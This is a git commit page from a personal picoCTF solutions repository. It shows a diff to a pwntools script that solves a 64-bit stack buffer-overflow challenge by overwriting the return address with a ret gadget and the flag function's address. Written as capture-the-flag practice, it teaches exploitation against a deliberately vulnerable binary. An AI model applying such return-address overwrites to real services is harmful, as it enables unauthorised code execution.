oysteikt/picoctf
oysteikt
/
picoctf
0
0
Fork 0
Code Issues Pull Requests Activity

pwn/x_sixty_what: use double ret for stack alignment

This commit is contained in:
Oystein Kristoffer Tveit 2024-09-03 22:31:36 +02:00
parent acada7af66
commit 67a4bc6dfd
Signed by: oysteikt
GPG Key ID: 9F2F7D8250F35146
1 changed files with 10 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
pwn/x_sixty_what/solve.py
View File

@ -1,5 +1,5 @@
#!/usr/bin/env nix-shell #!/usr/bin/env nix-shell
#!nix-shell -p python3 -i python3 python3Packages.pwntools #!nix-shell -p python3 -i python3 (python3Packages.pwntools.override{debugger=pwndbg;})
from pwn import * from pwn import *
@ -7,7 +7,7 @@ exe = ELF("./vuln")
context.binary = exe context.binary = exe
ADDR, PORT, *_ = "saturn.picoctf.net 63864".split() ADDR, PORT, *_ = "saturn.picoctf.net 52789".split()
def conn(): def conn():
if args.REMOTE: if args.REMOTE:
@ -20,11 +20,17 @@ def conn():
def main(): def main():
r = conn() r = conn()
# gdb.attach(r, '''
# b *(vuln+29)
# c
# ''')
print(r.recvuntil(b"Welcome to 64-bit. Give me a string that gets you the flag:")) print(r.recvuntil(b"Welcome to 64-bit. Give me a string that gets you the flag:"))
offset = 72 # found with pwndbg offset = 72 # found with pwndbg
print(f"flag: {hex(exe.sym.flag)}")
print(p64(exe.sym.flag)) print(p64(exe.sym.flag))
payload = b'A' * offset + p64(exe.sym.flag + 5) # skip one instruction for some reason... # NOTE: extra ret gadget is needed to align the stack.
# Alternatively, we could ret to (exe.sym.flag + 5)
payload = b'A' * offset + p64(ROP(exe).ret.address) + p64(exe.sym.flag)
r.sendline(payload) r.sendline(payload)
print(r.recvall()) print(r.recvall())
r.close() r.close()